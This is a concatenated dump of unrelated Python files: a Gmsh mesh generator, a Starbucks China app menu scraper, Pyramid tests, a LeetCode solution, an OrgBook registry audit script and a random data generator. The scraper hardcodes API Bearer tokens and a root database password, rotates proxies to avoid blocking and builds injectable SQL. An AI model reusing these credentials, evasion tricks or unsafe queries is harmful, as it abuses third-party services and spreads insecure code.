least two points\")\n else:\n import pandas as pd\n from math import sqrt, pow\n coorDict = {'xCoor': xCoor, 'yCoor': yCoor}\n df = pd.DataFrame(coorDict, columns=['xCoor', 'yCoor'])\n totalDist = 0\n for i in range(1, len(xCoor)):\n x1, y1 = df.iloc[i-1]['xCoor'], df.iloc[i-1]['yCoor']\n x2, y2 = df.iloc[i]['xCoor'], df.iloc[i]['yCoor']\n totalDist += sqrt(pow(x1-x2,2)+pow(y1-y2,2))\n return totalDist\n\ndef gmshinputgen(shapeTop, shapeBottom, faultwidth, faultangle, topleveldepth, sd_pn, dd_pn):\n import shapefile as shp\n from math import radians, sin\n xT, yT = pointCollector(shapeTop)\n xB, yB = pointCollector(shapeBottom)\n scorer = len(xT)\n scorer2 = len(xB)\n num1 = scorer + scorer2\n\n\n strData = str() # store lines as a string with this\n if topleveldepth >= 0:\n for i in range(len(xT)):\n strData += (\"Point(%s) = {%s, %s, %s, 1.0};\\n\" % (i+1, format(xT[i], '.10f'), format(yT[i], '.10f'), format(topleveldepth, '.10f')))\n spline1 = {i+1 for i in range(scorer)}\n strData += ('BSpline(1) = %s;\\n' % spline1)\n for i in range(len(xB)):\n strData += (\"Point(%s) = {%s, %s, %s, 1.0};\\n\" % (i+1+scorer, format(xB[i], '.10f'), format(yB[i], '.10f'), format(topleveldepth-sin(radians(faultangle))*faultwidth, '.10f')))\n spline2 = [s+1 for s in range(scorer, num1)]\n strData += ('BSpline(2) = %s;\\n' % spline2)\n else:\n for i in range(len(xT)):\n strData += (\"Point(%s) = {%s, %s, %s, 1.0};\\n\" % (i+1, format(xT[i], '.10f'), format(yT[i], '.10f'), format(topleveldepth, '.10f')))\n spline1 = {i+1 for i in range(scorer)}\n strData += ('BSpline(1) = %s;\\n' % spline1)\n for i in range(len(xB)):\n strData += (\"Point(%s) = {%s, %s, %s, 1.0};\\n\" % (i+1+scorer, format(xB[i], '.10f'), format(yB[i], '.10f'), format(topleveldepth-sin(radians(faultangle))*faultwidth, '.10f')))\n spline2 = [s+1 for s in range(scorer, num1)]\n strData += ('BSpline(2) = %s;\\n' % spline2)\n strData += ('Line(3) = {%s, %s};\\n' % (1, 1+scorer))\n strData += ('Line(4) = {%s, %s};\\n' % (scorer, num1))\n # not-tested\n strData += ('Curve Loop(1) = {1, 4, -2, -3};\\n')\n strData += ('Surface(1) = {1};\\n') # Add surface filling\n strData += ('Physical Curve(\"inlet\") = {4};\\n')\n strData += ('Physical Curve(\"outlet\") = {3};\\n')\n strData += ('Physical Curve(\"top\") = {1};\\n')\n strData += ('Physical Curve(\"bottom\") = {2};\\n')\n strData += ('Transfinite Surface {1} = {%s, %s, %s, %s};\\n' % (scorer, num1, 1+scorer,1))\n strData += ('Transfinite Curve {1, 2} = %s Using Progression 1;\\n' % (sd_pn+1))\n strData += ('Transfinite Curve {4, 3} = %s Using Progression 1;\\n' % (dd_pn+1))\n strData += ('Recombine Surface {1};\\n')\n # not-tested\n\n strData = strData.replace('[','{')\n strData = strData.replace(']','}')\n with open('gmshInput3.geo', 'w') as outFile:\n outFile.write(strData)\n","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":3702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"583297737","text":"import json\nimport pandas as pd\nimport time\nimport pymysql\nimport requests\nfrom starbar_sign import sign_string\n\n\ndef get_ip():\n try:\n proxy = requests.get('http://192.168.103.23:9898/?qty=1&user=hlz_liulishuo_spider&packid=1')\n proxy_response = json.loads(proxy.text)\n data = proxy_response.get('data')\n if len(data) > 0: # 如果有代理,就添加代理\n ip_dict = data.pop()\n ip = ip_dict.get('IP')\n proxies = {\n \"http\": \"http://\" + ip,\n \"https\": \"https://\" + ip\n }\n return proxies\n else:\n proxy = requests.get('http://192.168.103.23:9898/?qty=1&user=hlz_liulishuo_spider&packid=2')\n proxy_response = json.loads(proxy.text)\n data = proxy_response.get('data')\n if len(data) > 0: # 如果有代理,就添加代理\n ip_dict = data.pop()\n ip = ip_dict.get('IP')\n proxies = {\n \"http\": \"http://\" + ip,\n \"https\": \"https://\" + ip\n }\n return proxies\n except Exception as e:\n print('当前代理挂掉了')\n pass\n\n\n# 传入ID(转换后的的ID),下载菜单页面\ndef get_menu(APP_shop_id, shop_name, key, id_city):\n url = \"https://appdelivery.starbucks.com.cn/assortment/menu/detail\"\n unsigned_string = 'appid=859977c6f22b4f9ce98d4b02d031b4a8&lang=zh-cn&store_id=' + APP_shop_id\n # 参数加密\n sign = sign_string(unsigned_string)\n querystring = {\"store_id\": \"25023\", \"lang\": \"zh-cn\", \"appid\": \"859977c6f22b4f9ce98d4b02d031b4a8\",\n \"sign\": ''}\n querystring[\"sign\"] = sign\n querystring[\"store_id\"] = APP_shop_id\n payload = ''\n headers = {\n 'Host': \"appdelivery.starbucks.com.cn\",\n 'Connection': \"Keep-Alive\",\n 'Accept-Encoding': \"gzip\",\n 'Authorization': \"Bearer cgYh7tam3VW6AJjd8fnnFNuWbwTw26oC.lDdNN9X8G7%2FGZ%2Fvwscl69Aeqd%2BxwL57CLVF4aavf%2FD8\",\n 'User-Agent': \"com.starbucks.cn/2157\",\n 'x-bs-device-id': \"kpOv8udkAryBA3OfoBOe_XAn46tmIT7EZXIsIFi0KzffmyKGX-YpIZ5b2ULurX_HF0Ra3Ki8gVT_UiXQMcLX_WwAl0e5ZQ6GFAS7je-TGaA3QLNCu7aEgAwY9jfEbsQG9NmcsK-HX6onu_gpcIfEn6nrAjXWY14F\",\n 'cache-control': \"no-cache\",\n }\n if key == 1:\n proxies = get_ip()\n response = requests.request(\"GET\", url, data=payload, headers=headers, params=querystring, proxies=proxies,\n timeout=6)\n if key == 2:\n response = requests.request(\"GET\", url, data=payload, headers=headers, params=querystring, timeout=6)\n # response = requests.request(\"GET\", url, data=payload, headers=headers, params=querystring)\n print(response.text)\n response_text = json.loads(response.text)\n code = response_text.get('code')\n if code == 100:\n storage(response_text, shop_name, id_city)\n\n\ndef PC_shop_id(shop_name):\n db = pymysql.connect('192.168.103.31', 'root', 'adminadmin', 'shops')\n cursor = db.cursor()\n sql = \"\"\"select DISTINCT id from Starbucks WHERE shop_name ='%s'; \"\"\" % (shop_name)\n cursor.execute(sql)\n result = cursor.fetchone()\n if result:\n result = result[0]\n return result\n\n\ndef storage(response_text, shop_name, id_city):\n # print(response_text)\n db = pymysql.connect('192.168.103.31', 'root', 'adminadmin', 'shops')\n cursor = db.cursor()\n data_dict = response_text.get('data')\n categories = data_dict.get('categories')\n city = id_city[-1]\n # 获取本地文件的城市等级列表\n city_level_dict = get_city_level()\n city_level = city_level_dict.get(city)\n\n for category in categories:\n subCategories = category.get('subCategories')\n for subCategory in subCategories:\n subCategory_name = subCategory.get('name')\n products = subCategory.get('products')\n for product in products:\n defaultPrice = product.get('defaultPrice')\n defaultPrice = str(int(defaultPrice) / 100)\n name = product.get('name')\n id = product.get('id')\n shop_id = PC_shop_id(shop_name)\n print(subCategory_name, name, defaultPrice, id, shop_id)\n insert_sql = \"\"\"insert ignore Starbucks_menu (food_id,subCategory_name,shop_name,name,defaultPrice,crawlTime,shop_id,city,city_level) VALUES (\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\") \"\"\" % (\n id, subCategory_name, shop_name, name, defaultPrice, crawlTime, shop_id, city, city_level)\n cursor.execute(insert_sql)\n\n\n# 传入库里ID(库里ID是来自PC端),和APP端的ID是对不上,所以需要转换,返回的是城市列表\ndef transformation(id_city):\n latitude = id_city[1]\n longitude = id_city[2]\n url = \"https://appdelivery.starbucks.com.cn/assortment/store/list\"\n payload = {\"in_business\": 1, \"latitude\": \"39.907098\", \"longitude\": \"116.429323\"}\n payload[\"latitude\"] = latitude\n payload[\"longitude\"] = longitude\n payload = json.dumps(payload)\n to_encode = \"appid=859977c6f22b4f9ce98d4b02d031b4a8&lang=zh_CN\" + payload\n sign = sign_string(to_encode)\n querystring = {\"lang\": \"zh_CN\", \"appid\": \"859977c6f22b4f9ce98d4b02d031b4a8\", \"sign\": sign}\n headers = {\n 'Content-Type': \"application/json\",\n 'Authorization': \"Bearer erJCQ3JZMbAAcTinU5JMjcRHdl68e5Om.4oDCinNVwzRNp2x6VF%2FIOd0Qydp9sQk4MWHZQjc5Yxo\",\n 'cache-control': \"no-cache\"\n }\n response = requests.request(\"POST\", url, data=payload, headers=headers, params=querystring)\n print(response.text)\n if response.status_code == 200:\n response_text = json.loads(response.text)\n return response_text\n else:\n print(response.text)\n pass\n\n\n# 传入城市,获取城市级别\ndef get_city_level():\n path = r'city_level.xlsx'\n results = pd.read_excel(path)\n city_list = results['城市']\n level_list = results['城市等级']\n city_level_dict = dict(zip(city_list, level_list))\n print(city_level_dict)\n return (city_level_dict)\n\n\n# 去数据库拿到去重后的带有经纬度的PC端店铺ID\ndef start_scrawl():\n db = pymysql.connect('192.168.103.31', 'root', 'adminadmin', 'shops')\n cursor = db.cursor()\n inquery_sql = \"\"\"select id,latitude,longitude,city from Starbucks WHERE latitude !='' and longitude !='' and city_level !='中国大陆外' GROUP BY id;\"\"\"\n cursor.execute(inquery_sql)\n results = cursor.fetchall()\n df_data = pd.DataFrame(list(results)) # 转换成DataFrame格式\n print(df_data)\n # dataframe便利行,loc做数据切分用的\n id_city_list = []\n for indexs in df_data.index:\n id_city = df_data.loc[indexs].values[0:]\n id_city_list.append(id_city)\n return id_city_list\n\n\nif __name__ == '__main__':\n local_time = time.localtime(time.time())\n crawlTime = time.strftime(\"%Y-%m-%d \", local_time)\n print('当前抓取日期%s' % crawlTime)\n # get_menu()\n\n id_city_list = start_scrawl()\n for id_city in id_city_list:\n \"\"\"id_city =['1017245' '18.308424' '109.411488' '三亚'] PC端店铺ID,经纬度,城市 \"\"\"\n print(id_city)\n # id_city = ['1023894', '29.332596', '104.771515', '自贡']\n response_text = transformation(id_city)\n if response_text:\n code = response_text.get('code')\n # 如果解析成功\n if code == 100:\n data_list = response_text.get('data')\n print(data_list)\n # data_list = data_list[:3] 改为全部抓取,\n for data in data_list:\n print(data)\n APP_shop_id = data.get('id')\n shop_name = data.get('name')\n key = 1 # key=1使用代理,=2不适用代理\n try:\n get_menu(APP_shop_id, shop_name, key, id_city)\n except Exception as e:\n print(e)\n","sub_path":"IDGdemo/shops/starbar_menu.py","file_name":"starbar_menu.py","file_ext":"py","file_size_in_byte":7993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"373013415","text":"# coding=utf-8\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nfrom contextlib import contextmanager\n\nimport pytest\nfrom webtest import TestApp\n\nfrom scout_apm.api import Config\nfrom tests.compat import mock\n\nfrom .pyramid_app import app_configurator\n\n\n@contextmanager\ndef app_with_scout(config=None):\n \"\"\"\n Context manager that configures and installs the Scout plugin for Bottle.\n\n \"\"\"\n # Enable Scout by default in tests.\n if config is None:\n config = {\"SCOUT_MONITOR\": True}\n\n # Disable running the agent.\n config[\"SCOUT_CORE_AGENT_LAUNCH\"] = False\n\n # Setup according to https://docs.scoutapm.com/#pyramid\n with app_configurator() as configurator:\n configurator.add_settings(**config)\n configurator.include(\"scout_apm.pyramid\")\n app = configurator.make_wsgi_app()\n try:\n yield app\n finally:\n # Reset Scout configuration.\n Config.reset_all()\n\n\ndef test_home():\n with app_with_scout() as app:\n response = TestApp(app).get(\"/\")\n assert response.status_int == 200\n\n\ndef test_hello():\n with app_with_scout() as app:\n response = TestApp(app).get(\"/hello/\")\n assert response.status_int == 200\n\n\ndef test_not_found():\n with app_with_scout() as app:\n response = TestApp(app).get(\"/not-found/\", expect_errors=True)\n assert response.status_int == 404\n\n\ndef test_server_error():\n with app_with_scout() as app:\n # Unlike most other frameworks, Pyramid doesn't catch all exceptions.\n with pytest.raises(ValueError):\n TestApp(app).get(\"/crash/\", expect_errors=True)\n\n\ndef test_no_monitor():\n # With an empty config, \"SCOUT_MONITOR\" defaults to False.\n with app_with_scout({}) as app:\n response = TestApp(app).get(\"/hello/\")\n assert response.status_int == 200\n\n\n@mock.patch(\n \"pyramid.request.Request.remote_addr\",\n new_callable=mock.PropertyMock,\n side_effect=ValueError,\n)\ndef test_remote_addr_exception(remote_addr):\n \"\"\"\n Scout doesn't crash if pyramid.request.Request.remote_addr raises an exception.\n\n This cannot be tested without mocking because it should never happen.\n\n It's implemented in webob.request.Request and it's just a lookup in environ.\n\n \"\"\"\n with app_with_scout() as app:\n response = TestApp(app).get(\"/hello/\")\n assert response.status_int == 200\n","sub_path":"tests/integration/test_pyramid.py","file_name":"test_pyramid.py","file_ext":"py","file_size_in_byte":2416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"129916975","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\nfrom collections import deque\nclass Solution:\n def addOneRow(self, root: TreeNode, v: int, d: int) -> TreeNode:\n q2 = deque()\n q1 = deque()\n q1.append(root);\n if d == 1:\n node = root\n root = TreeNode(v)\n root.left = node\n return root\n depth = 1\n while depth != d-1:\n while len(q1) > 0:\n node = q1.popleft()\n if node.left:\n q2.append(node.left)\n if node.right:\n q2.append(node.right)\n depth += 1\n q1 += q2\n q2.clear()\n while len(q1) > 0:\n node = q1.popleft()\n left = node.left\n right = node.right\n node.left = TreeNode(v)\n node.right = TreeNode(v)\n node.left.left = left\n node.right.right = right\n \n return root\n \n \n \n","sub_path":"leetcode_solutions/add_one_row_to_tree.py","file_name":"add_one_row_to_tree.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"86684491","text":"#!/usr/bin/python\nimport os \nimport psycopg2\nimport pytz\nimport datetime\nimport time\nimport json\nimport decimal\nimport requests\nimport csv\n\nfrom config import CORP_TYPES_IN_SCOPE, corp_num_with_prefix, bare_corp_num\nfrom rocketchat_hooks import log_error, log_warning, log_info\n\n\nMIN_START_DATE = datetime.datetime(datetime.MINYEAR+1, 1, 1)\nMIN_VALID_DATE = datetime.datetime(datetime.MINYEAR+10, 1, 1)\nMAX_END_DATE = datetime.datetime(datetime.MAXYEAR-1, 12, 31)\n\n# for now, we are in PST time\ntimezone = pytz.timezone(\"PST8PDT\")\n\nMIN_START_DATE_TZ = timezone.localize(MIN_START_DATE)\nMIN_VALID_DATE_TZ = timezone.localize(MIN_VALID_DATE)\nMAX_END_DATE_TZ = timezone.localize(MAX_END_DATE)\n\n\n# determine jurisdiction for corp\ndef get_corp_jurisdiction(corp_typ_cd, corp_class, can_jur_typ_cd, othr_juris_desc):\n registered_jurisdiction = \"\"\n if corp_class == 'BC':\n registered_jurisdiction = \"BC\"\n elif corp_class == 'XPRO' or corp_typ_cd == 'XP' or corp_typ_cd == 'XL' or corp_typ_cd == 'XCP' or corp_typ_cd == 'XS':\n if can_jur_typ_cd is not None and 0 < len(can_jur_typ_cd):\n if can_jur_typ_cd == 'OT':\n if othr_juris_desc is not None and 0 < len(othr_juris_desc):\n registered_jurisdiction = othr_juris_desc\n else:\n registered_jurisdiction = can_jur_typ_cd\n else:\n registered_jurisdiction = can_jur_typ_cd\n else:\n # default to BC\n registered_jurisdiction = \"BC\"\n return registered_jurisdiction\n\n\ndef compare_dates_lear(orgbook_reg_dt, bc_reg_reg_dt):\n # convert to string if necessary\n if isinstance(orgbook_reg_dt, datetime.datetime):\n orgbook_reg_dt = orgbook_reg_dt.astimezone(pytz.utc).isoformat()\n if isinstance(bc_reg_reg_dt, datetime.datetime):\n bc_reg_reg_dt = bc_reg_reg_dt.astimezone(pytz.utc).isoformat()\n if bc_reg_reg_dt is None or len(bc_reg_reg_dt) == 0 or bc_reg_reg_dt.startswith('0001-01-01'):\n if orgbook_reg_dt is None or len(orgbook_reg_dt) == 0 or orgbook_reg_dt.startswith('0001-01-01'):\n return True\n return False\n if orgbook_reg_dt is None or len(orgbook_reg_dt) == 0 or orgbook_reg_dt.startswith('0001-01-01'):\n return False\n return (bc_reg_reg_dt == orgbook_reg_dt)\n\n# compare registration dates\ndef compare_dates_colin(orgbook_reg_dt, bc_reg_reg_dt):\n if bc_reg_reg_dt is None or len(bc_reg_reg_dt) == 0:\n if orgbook_reg_dt is None or len(orgbook_reg_dt) == 0:\n return True\n return MIN_START_DATE_TZ.astimezone(pytz.utc).isoformat() == orgbook_reg_dt\n if orgbook_reg_dt is None or len(orgbook_reg_dt) == 0:\n return bc_reg_reg_dt == '0001-01-01 00:00:00'\n try:\n bc_reg_reg_dt_obj = datetime.datetime.strptime(bc_reg_reg_dt, '%Y-%m-%d %H:%M:%S')\n bc_reg_reg_dt_tz = timezone.localize(bc_reg_reg_dt_obj)\n bc_reg_reg_dt_tz_str = bc_reg_reg_dt_tz.astimezone(pytz.utc).isoformat()\n return bc_reg_reg_dt_tz_str == orgbook_reg_dt\n except (Exception) as error:\n return MIN_START_DATE_TZ.astimezone(pytz.utc).isoformat() == orgbook_reg_dt\n\n# compare registration dates\ndef compare_dates(orgbook_reg_dt, bc_reg_reg_dt, USE_LEAR: bool = False):\n if USE_LEAR:\n return compare_dates_lear(orgbook_reg_dt, bc_reg_reg_dt)\n else:\n return compare_dates_colin(orgbook_reg_dt, bc_reg_reg_dt)\n\ndef compare_bc_reg_orgbook(bc_reg_corp_types, bc_reg_corp_names, bc_reg_corp_infos, orgbook_corp_types, orgbook_corp_names, orgbook_corp_infos, future_corps, USE_LEAR: bool = False):\n missing_in_orgbook = []\n missing_in_bcreg = []\n wrong_corp_type = []\n wrong_corp_name = []\n wrong_corp_status = []\n wrong_bus_num = []\n wrong_corp_reg_dt = []\n wrong_corp_juris = []\n\n # check if all the BC Reg corps are in orgbook (with the same corp type)\n if USE_LEAR:\n cmd_pfx = \"Lear\"\n else:\n cmd_pfx = \"\"\n error_msgs = \"\"\n error_cmds = \"\"\n for bc_reg_corp_num in bc_reg_corp_types:\n bc_reg_corp_type = bc_reg_corp_types[bc_reg_corp_num]\n bc_reg_corp_name = bc_reg_corp_names[bc_reg_corp_num]\n bc_reg_corp_info = bc_reg_corp_infos[bc_reg_corp_num]\n if bare_corp_num(bc_reg_corp_num) in future_corps:\n #print(\"Future corp ignore:\", row[\"corp_num\"])\n pass\n elif not bc_reg_corp_num in orgbook_corp_types:\n # not in orgbook\n error_msgs += \"Topic not found for: \" + bc_reg_corp_num + \"\\n\"\n missing_in_orgbook.append(bc_reg_corp_num)\n error_cmds += \"./manage -e prod queueOrganization\" + cmd_pfx + \" \" + bare_corp_num(bc_reg_corp_num) + \"\\n\"\n pass\n elif (not orgbook_corp_types[bc_reg_corp_num]) or (orgbook_corp_types[bc_reg_corp_num] != bc_reg_corp_type):\n # in orgbook but has the wrong corp type in orgbook\n error_msgs += \"Corp Type mis-match for: \" + bc_reg_corp_num + '; BC Reg: \"'+bc_reg_corp_type+'\", OrgBook: \"'+orgbook_corp_types[bc_reg_corp_num]+'\"' + \"\\n\"\n wrong_corp_type.append(bc_reg_corp_num)\n error_cmds += \"./manage -p bc -e prod deleteTopic \" + bc_reg_corp_num + \"\\n\"\n error_cmds += \"./manage -e prod requeueOrganization\" + cmd_pfx + \" \" + bare_corp_num(bc_reg_corp_num) + \"\\n\"\n elif (orgbook_corp_names[bc_reg_corp_num].strip() != bc_reg_corp_name.strip()):\n # in orgbook but has the wrong corp name in orgbook\n error_msgs += \"Corp Name mis-match for: \" + bc_reg_corp_num + ' BC Reg: \"'+bc_reg_corp_name+'\", OrgBook: \"'+orgbook_corp_names[bc_reg_corp_num]+'\"' + \"\\n\"\n wrong_corp_name.append(bc_reg_corp_num)\n error_cmds += \"./manage -p bc -e prod deleteTopic \" + bc_reg_corp_num + \"\\n\"\n error_cmds += \"./manage -e prod requeueOrganization\" + cmd_pfx + \" \" + bare_corp_num(bc_reg_corp_num) + \"\\n\"\n elif (orgbook_corp_infos[bc_reg_corp_num][\"entity_status\"] != bc_reg_corp_info[\"op_state_typ_cd\"]):\n # wrong entity status\n error_msgs += \"Corp Status mis-match for: \" + bc_reg_corp_num + ' BC Reg: \"'+bc_reg_corp_info[\"op_state_typ_cd\"]+'\", OrgBook: \"'+orgbook_corp_infos[bc_reg_corp_num][\"entity_status\"]+'\"' + \"\\n\"\n wrong_corp_status.append(bc_reg_corp_num)\n error_cmds += \"./manage -p bc -e prod deleteTopic \" + bc_reg_corp_num + \"\\n\"\n error_cmds += \"./manage -e prod requeueOrganization\" + cmd_pfx + \" \" + bare_corp_num(bc_reg_corp_num) + \"\\n\"\n elif (orgbook_corp_infos[bc_reg_corp_num][\"bus_num\"].strip() != bc_reg_corp_info[\"bn_9\"].strip()):\n # wrong BN9 business number\n error_msgs += \"Business Number mis-match for: \" + bc_reg_corp_num + ' BC Reg: \"'+bc_reg_corp_info[\"bn_9\"]+'\", OrgBook: \"'+orgbook_corp_infos[bc_reg_corp_num][\"bus_num\"]+'\"' + \"\\n\"\n wrong_bus_num.append(bc_reg_corp_num)\n error_cmds += \"./manage -p bc -e prod deleteTopic \" + bc_reg_corp_num + \"\\n\"\n error_cmds += \"./manage -e prod requeueOrganization\" + cmd_pfx + \" \" + bare_corp_num(bc_reg_corp_num) + \"\\n\"\n elif (not compare_dates(orgbook_corp_infos[bc_reg_corp_num][\"registration_date\"], bc_reg_corp_info[\"recognition_dts\"], USE_LEAR=USE_LEAR)):\n # wrong registration date\n error_msgs += \"Corp Registration Date mis-match for: \" + bc_reg_corp_num + ' BC Reg: \"'+bc_reg_corp_info[\"recognition_dts\"]+'\", OrgBook: \"'+orgbook_corp_infos[bc_reg_corp_num][\"registration_date\"]+'\"' + \"\\n\"\n wrong_corp_reg_dt.append(bc_reg_corp_num)\n error_cmds += \"./manage -p bc -e prod deleteTopic \" + bc_reg_corp_num + \"\\n\"\n error_cmds += \"./manage -e prod requeueOrganization\" + cmd_pfx + \" \" + bare_corp_num(bc_reg_corp_num) + \"\\n\"\n elif (orgbook_corp_infos[bc_reg_corp_num][\"home_jurisdiction\"] != get_corp_jurisdiction(bc_reg_corp_info[\"corp_type\"], bc_reg_corp_info[\"corp_class\"], bc_reg_corp_info[\"can_jur_typ_cd\"], bc_reg_corp_info[\"othr_juris_desc\"])):\n # wrong jurisdiction\n calc_juris = get_corp_jurisdiction(bc_reg_corp_info[\"corp_type\"], bc_reg_corp_info[\"corp_class\"], bc_reg_corp_info[\"can_jur_typ_cd\"], bc_reg_corp_info[\"othr_juris_desc\"])\n error_msgs += \"Corp Jurisdiction mis-match for: \" + bc_reg_corp_num + ' BC Reg: \"'+calc_juris+'\", OrgBook: \"'+orgbook_corp_infos[bc_reg_corp_num][\"home_jurisdiction\"]+'\"' + \"\\n\"\n wrong_corp_juris.append(bc_reg_corp_num)\n error_cmds += \"./manage -p bc -e prod deleteTopic \" + bc_reg_corp_num + \"\\n\"\n error_cmds += \"./manage -e prod requeueOrganization\" + cmd_pfx + \" \" + bare_corp_num(bc_reg_corp_num) + \"\\n\"\n\n # now check if there are corps in orgbook that are *not* in BC Reg database\n for orgbook_corp in orgbook_corp_types:\n if not (orgbook_corp in bc_reg_corp_types):\n missing_in_bcreg.append(orgbook_corp)\n error_msgs += \"OrgBook corp not in BC Reg: \" + orgbook_corp + \"\\n\"\n error_cmds += \"./manage -p bc -e prod deleteTopic \" + orgbook_corp + \"\\n\"\n\n corp_errors = (len(missing_in_orgbook) +\n len(missing_in_bcreg) +\n len(wrong_corp_type) +\n len(wrong_corp_name) +\n len(wrong_corp_status) +\n len(wrong_bus_num) +\n len(wrong_corp_reg_dt) +\n len(wrong_corp_juris))\n\n if 0 < corp_errors:\n log_error(error_msgs)\n log_error(error_cmds)\n\n error_summary = \"\"\n error_summary += \"Missing in OrgBook: \" + str(len(missing_in_orgbook)) + \" \" + str(missing_in_orgbook) + \"\\n\"\n error_summary += \"Missing in BC Reg: \" + str(len(missing_in_bcreg)) + \" \" + str(missing_in_bcreg) + \"\\n\"\n error_summary += \"Wrong corp type: \" + str(len(wrong_corp_type)) + \" \" + str(wrong_corp_type) + \"\\n\"\n error_summary += \"Wrong corp name: \" + str(len(wrong_corp_name)) + \" \" + str(wrong_corp_name) + \"\\n\"\n error_summary += \"Wrong corp status: \" + str(len(wrong_corp_status)) + \" \" + str(wrong_corp_status) + \"\\n\"\n error_summary += \"Wrong business number: \" + str(len(wrong_bus_num)) + \" \" + str(wrong_bus_num) + \"\\n\"\n error_summary += \"Wrong corp registration: \" + str(len(wrong_corp_reg_dt)) + \" \" + str(wrong_corp_reg_dt) + \"\\n\"\n error_summary += \"Wrong corp jurisdiction: \" + str(len(wrong_corp_juris)) + \" \" + str(wrong_corp_juris) + \"\\n\"\n\n if 0 < corp_errors:\n log_error(error_summary)\n else:\n log_info(error_summary)\n\n return wrong_bus_num\n","sub_path":"scripts/orgbook_data_audit.py","file_name":"orgbook_data_audit.py","file_ext":"py","file_size_in_byte":10587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"327134849","text":"from random import randint, sample\nimport collections\n\nstats = None\n\ndef main(num_matches, teams):\n global stats\n reset_stats()\n dump_headers()\n for match in range(1, num_matches + 1):\n for pos in range(0, 6):\n reset_stats()\n stats[\"Match\"] = match\n stats[\"Pos\"] = pos\n stats[\"Team\"] = teams[randint(0, len(teams) - 1)]\n stats[\"AT\"] = randint(0, 3)\n stats[\"ATS\"] = ((randint(1, 2) == 1) and (stats[\"AT\"] > 0))\n stats[\"AC\"] = randint(0, 3)\n stats[\"ACK\"] = randint(0, 3)\n stats[\"ASCT\"] = randint(0, 4)\n stats[\"ASCA\"] = randint(stats[\"ASCT\"], 4)\n stats[\"NS\"] = (randint(1, 2) == 1)\n stats[\"D\"] = (randint(1, 2) == 1)\n stats[\"F\"] = randint(0, 5)\n stats[\"SR\"] = randint(0, 5)\n ct_str = sample([\"1\", \"2\", \"3\", \"4\"], randint(0, 4))\n ct_str.sort()\n for t in ct_str:\n stats[\"CT\"] += t\n\n for s in range(1, 8):\n t_str = sample([\"1\", \"2\", \"3\", \"4\", \"5\", \"6\"], randint(1, 6))\n t_str.sort()\n for t in t_str:\n stats[\"S\" + str(s) + \"T\"] += str(t)\n if randint(0, 3) == 0:\n stats[\"S\" + str(s) + \"C\"] = randint(int(max(t_str)), 6)\n stats[\"S\" + str(s) + \"N\"] = ((randint(1, 2) == 1) and (stats[\"S\" + str(s) + \"C\"] > 0))\n stats[\"S\" + str(s) + \"K\"] = (randint(1, 10) == 1)\n\n stats[\"UT\"] = randint(0, 40)\n stats[\"DT\"] = randint(0, 40)\n stats[\"DC\"] = randint(0, 40)\n stats[\"RC\"] = (randint(1, 2) == 1)\n stats[\"RT\"] = (randint(1, 2) == 1)\n stats[\"C\"] = (randint(1, 2) == 1)\n stats[\"L\"] = (randint(1, 2) == 1)\n\n dump_data()\n\n\ndef dump_headers():\n with open('data.csv', 'w') as f:\n for key in stats:\n f.write(key + \", \")\n f.write(\"\\n\")\n\ndef dump_data():\n with open('data.csv', 'ab') as f:\n for key in stats:\n f.write(str(stats[key]) + \", \")\n f.write(\"\\n\")\n f.close()\n\n\n\ndef reset_stats():\n global stats\n stats = None\n stats = collections.OrderedDict()\n stats[\"Match\"] = 0\n stats[\"Pos\"] = 0\n stats[\"Team\"] = 0\n\n stats[\"AT\"] = 0\n stats[\"ATS\"] = False\n stats[\"AC\"] = 0\n stats[\"ACK\"] = 0\n stats[\"ASCT\"] = 0\n stats[\"ASCA\"] = 0\n\n stats[\"NS\"] = False\n stats[\"D\"] = False\n stats[\"F\"] = 0\n stats[\"SR\"] = 0\n stats[\"CT\"] = \"\"\n\n stats[\"S1T\"] = \"\"\n stats[\"S1C\"] = 0\n stats[\"S1N\"] = False\n stats[\"S1K\"] = False\n\n stats[\"S2T\"] = \"\"\n stats[\"S2C\"] = 0\n stats[\"S2N\"] = False\n stats[\"S2K\"] = False\n\n stats[\"S3T\"] = \"\"\n stats[\"S3C\"] = 0\n stats[\"S3N\"] = False\n stats[\"S3K\"] = False\n\n stats[\"S4T\"] = \"\"\n stats[\"S4C\"] = 0\n stats[\"S4N\"] = False\n stats[\"S4K\"] = False\n\n stats[\"S5T\"] = \"\"\n stats[\"S5C\"] = 0\n stats[\"S5N\"] = False\n stats[\"S5K\"] = False\n\n stats[\"S6T\"] = \"\"\n stats[\"S6C\"] = 0\n stats[\"S6N\"] = False\n stats[\"S6K\"] = False\n\n stats[\"S7T\"] = \"\"\n stats[\"S7C\"] = 0\n stats[\"S7N\"] = False\n stats[\"S7K\"] = False\n\n stats[\"UT\"] = 0\n stats[\"DT\"] = 0\n stats[\"DC\"] = 0\n stats[\"RC\"] = False\n stats[\"RT\"] = False\n stats[\"C\"] = False\n stats[\"L\"] = False\n\n stats[\"IMG\"] = False\n\n\nteams = [16, 20, 60, 67, 85, 93, 173, 203, 225, 236, 246, 254, 375, 399, 418,\n 467, 558, 973, 999, 1058, 1241, 1296, 1306, 1325, 1458, 1501, 1510,\n 1511, 1519, 1629, 1710, 1711, 1730, 1885, 2075, 2085, 2283, 2377,\n 2471, 2521, 2534, 2601, 2905, 3256, 3339, 3478, 3481, 3506, 3547,\n 3604, 3728, 3880, 3946, 4028, 4215, 4488, 4499, 4574, 4587, 4818,\n 4953, 4980, 5053, 5059, 5122, 5254, 5338, 5406, 5416, 5510, 5549,\n 5625, 5655, 5659, 5696, 5719]\n\n\nmain(127, teams)\n","sub_path":"GenerateRandomData.py","file_name":"GenerateRandomData.py","file_ext":"py","file_size_in_byte":3906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} 